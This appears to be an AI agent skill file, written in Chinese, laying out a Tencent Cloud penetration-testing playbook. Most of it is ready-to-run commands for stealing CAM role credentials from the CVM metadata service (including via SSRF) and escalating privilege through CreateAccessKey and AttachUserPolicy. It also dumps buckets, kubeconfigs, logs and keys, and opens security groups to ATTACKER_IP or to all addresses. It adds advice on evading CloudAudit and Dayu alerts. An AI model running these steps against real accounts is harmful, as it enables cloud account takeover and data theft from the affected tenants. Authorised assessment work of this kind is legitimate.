| name | tencent-pentesting |
| description | 腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理 |
| metadata | {"tags":"tencent-cloud,腾讯云,cam,cvm,cos,tencentdb,tke,scf,cls,clb,kms,ssm,tccli,coscmd,secretid,metadata.tencentyun.com,云渗透","category":"cloud"} |
腾讯云渗透测试方法论
腾讯云 CAM/CVM/COS/TencentDB/TKE 等服务构成主要攻击面。与 AWS/阿里云不同,腾讯云元数据常用域名 metadata.tencentyun.com,部分环境也支持链路本地 IP(如 169.254.0.23);COS 操作需要独立的 coscmd 工具,CAM 使用 Uin/SubUin 身份模型(而非 ARN 体系)。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。
⛔ 深入参考(必读)
识别到具体攻击服务后,加载对应参考文档获取完整技术细节:
Phase 1: 环境识别
拿到腾讯云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。
1.1 凭据类型
| 凭据类型 | 识别特征 | 有效期 | 获取方式 |
|---|
| 长期 SecretId/SecretKey | SecretId 以 AKID 开头 | 永久(直到手动轮换) | CAM 控制台创建 / 代码泄露 |
| STS 临时凭据 | 包含 Token 字段 | 15 分钟 ~ 2 小时 | AssumeRole / CVM 元数据 |
| CVM Role(实例绑定) | 通过 metadata.tencentyun.com 获取 | 自动轮换 | CVM 实例元数据服务 |
1.2 CLI 配置
腾讯云有两个关键 CLI 工具,务必区分:
pip install tccli
tccli configure
tccli sts GetCallerIdentity
pip install coscmd
coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION
关键差异: 腾讯云 COS 操作必须结合 coscmd。tccli cos GetService 可以列出 Bucket 列表,但枚举对象内容、批量下载等操作需要 coscmd。这是腾讯云渗透中的重要工具区别。
1.3 元数据端点
腾讯云 CVM 元数据端点常用域名 metadata.tencentyun.com,部分环境也可通过链路本地 IP(如 169.254.0.23)访问;SSRF 探测和防护应同时考虑域名与 IP 形态。
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME
curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region
curl -s http://metadata.tencentyun.com/latest/user-data
SSRF 利用差异: 腾讯云元数据常用域名 metadata.tencentyun.com,也可能存在链路本地 IP 访问路径;仅限制 AWS/Aliyun 常见元数据 IP(如 169.254.169.254、100.100.100.200)并不充分。同时,腾讯云目前不强制 IMDSv2,大部分 CVM 实例的元数据服务可直接通过 HTTP GET 访问。
1.4 对象存储 URL 格式
公网访问: https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object}
自定义域名: https://custom.domain.com/{object}
发现 cos.*.myqcloud.com 域名即可确认目标使用腾讯云 COS。Bucket 名称格式为 {name}-{appid},appid 为数字。
1.5 区域编码
| 区域代码 | 位置 | 备注 |
|---|
| ap-guangzhou | 华南地区(广州) | 腾讯云总部所在地,最常用区域 |
| ap-shanghai | 华东地区(上海) | 金融客户常用 |
| ap-beijing | 华北地区(北京) | 政企客户常用 |
| ap-chengdu | 西南地区(成都) | |
| ap-chongqing | 西南地区(重庆) | |
| ap-nanjing | 华东地区(南京) | |
| ap-hongkong | 中国香港 | 无需备案,常被用于出海业务 |
| ap-singapore | 新加坡 | 海外区域 |
枚举时需遍历多个区域。部分服务(如 CAM、STS)为全局服务,不受区域限制。
1.6 CAM 身份模型
腾讯云 CAM 使用 Uin/SubUin 模型,与 AWS ARN 体系不同:
| 概念 | 腾讯云 CAM | AWS IAM |
|---|
| 主账号标识 | Uin(数字,如 100000123456) | Account ID(12 位数字) |
| 子用户标识 | SubUin(数字) | IAM User ARN |
| 角色标识 | RoleId + RoleName | Role ARN |
| 策略关联 | 通过 Uin/SubUin 绑定 | 通过 ARN 绑定 |
tccli sts GetCallerIdentity
tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]'
Phase 2: 攻击决策树
根据当前持有的凭据/位置,判断攻击路径:
当前持有什么?
├── 无凭据
│ ├── 有目标域名 → COS Bucket 枚举(猜解 bucket-appid 名 + 公开访问检测)
│ ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据
│ └── 仅知组织名 → OSINT + COS/子域名枚举
│
├── 有 SecretId/SecretKey(AKID 开头)
│ ├── 先验证: tccli sts GetCallerIdentity
│ ├── 有 CAM 写权限 → Phase 3(CAM 提权)
│ ├── 有 CVM 权限 → Phase 4(计算/存储)
│ ├── 有 COS 权限 → Phase 4(对象存储,需 coscmd!)
│ ├── 有 TencentDB 权限 → Phase 4(数据库)
│ └── 权限不明 → 逐服务探测(手动调用各命名空间 Describe* 类 API)
│
├── 有 STS 临时凭据(含 Token)
│ └── 同上,但需注意有效期(最长 2 小时),快速行动
│
├── 在 CVM 实例内部
│ ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据
│
└── 有容器环境(TKE Pod 内部)
├── 检查 ServiceAccount Token
├── 尝试访问 metadata.tencentyun.com 元数据
└── → Phase 5(容器/Serverless)
Phase 3: CAM 提权速查
CAM(Cloud Access Management)是腾讯云的身份权限服务,对标 AWS IAM。
3.1 信息收集
tccli cam ListUsers
tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN
tccli cam ListAccessKeys --TargetUin UIN
tccli cam DescribeRoleList --Page 1 --Rp 100
3.2 提权路径
| 提权路径 | 所需权限 | 操作 |
|---|
| 创建 AccessKey | cam:CreateAccessKey | 为高权限用户创建新 SecretId/SecretKey |
| 附加策略 | cam:AttachUserPolicy | 给自己附加 AdministratorAccess |
| 创建策略版本 | cam:CreatePolicy | 创建 Allow * 策略并附加到自身 |
| 修改角色信任策略 | cam:UpdateAssumeRolePolicy | 修改角色信任实体使自己可 AssumeRole |
| PassRole + 创建 CVM | cam:PassRole + cvm:RunInstances | 启动绑定高权限 Role 的 CVM |
| PassRole + 创建 SCF | cam:PassRole + scf:CreateFunction | 创建绑定高权限 Role 的云函数并执行 |
tccli cam CreateAccessKey --TargetUin TARGET_UIN
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN
Phase 4: 计算/存储/数据库速查
CVM(云服务器)
tccli cvm DescribeInstances --output json
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'
→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、TAT 命令执行完整流程
COS(对象存储)
tccli cos GetService --output json
coscmd -b BUCKET_NAME -r REGION list
coscmd -b BUCKET_NAME -r REGION list -a
→ 读 references/compute-storage-attacks.md 获取 ACL 检查、数据下载、公开访问检测完整流程
TencentDB(数据库)
tccli cdb DescribeDBInstances --output json
→ 读 references/compute-storage-attacks.md 获取连接信息获取、账号创建、数据导出完整流程
CLB(负载均衡)
tccli clb DescribeLoadBalancers --output json
→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程
Phase 5: 容器/Serverless/日志/KMS 速查
TKE(容器服务 Kubernetes)
tccli tke DescribeClusters
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID
→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程
SCF(云函数)
tccli scf ListFunctions --Namespace default --output json
→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程
CLS(日志服务)
tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token"
→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程
KMS(密钥管理)
tccli kms ListKeys
→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程
Phase 6: 安全组操控
安全组是腾讯云 CVM 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。
tccli vpc DescribeSecurityGroups --output json
tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}'
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
--SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}'
判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发大禹安全告警。
工具速查
| 工具 | 用途 | 安装/使用 |
|---|
| tccli | 腾讯云官方命令行工具 | pip install tccli |
| coscmd | COS 对象存储专用工具(必备!) | pip install coscmd |
| tccli sts GetCallerIdentity | 验证凭据身份 | 内置子命令 |
| curl | 元数据服务探测(注意用域名) | 系统自带 |
| kubectl | TKE 集群操作 | 获取 kubeconfig 后使用 |
| cf (Cloud Exploitation Framework) | 腾讯云/阿里云自动化利用 | go install github.com/teamssix/cf@latest |
注意事项
云审计感知: 腾讯云云审计(CloudAudit)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:
- CAM 变更(CreateUser、CreateAccessKey、AttachUserPolicy)
- STS 调用(AssumeRole)
- 安全组规则变更(CreateSecurityGroupPolicies,vpc 命名空间)
大禹安全检测: 腾讯云安全产品会检测:
- SecretId/SecretKey 异常调用(异常 IP、异常时间、异常 API 频率)
- CVM 异常登录(非常用地域 IP)
- 安全组规则异常开放
- COS Bucket ACL 变更为公开
速率限制: 腾讯云 API 有限流机制,枚举时建议控制频率。触发限流返回 RequestLimitExceeded 错误码。
区域遍历: 与 AWS 类似,腾讯云资源按区域隔离。全局服务(CAM、STS)不受区域限制,但 CVM/COS/TencentDB 等需逐区域枚举。
tccli 参数格式: tccli 部分参数接受 JSON 格式(如 --Accounts '[{...}]'、--SecurityGroupPolicySet '{...}'),注意正确的 JSON 转义。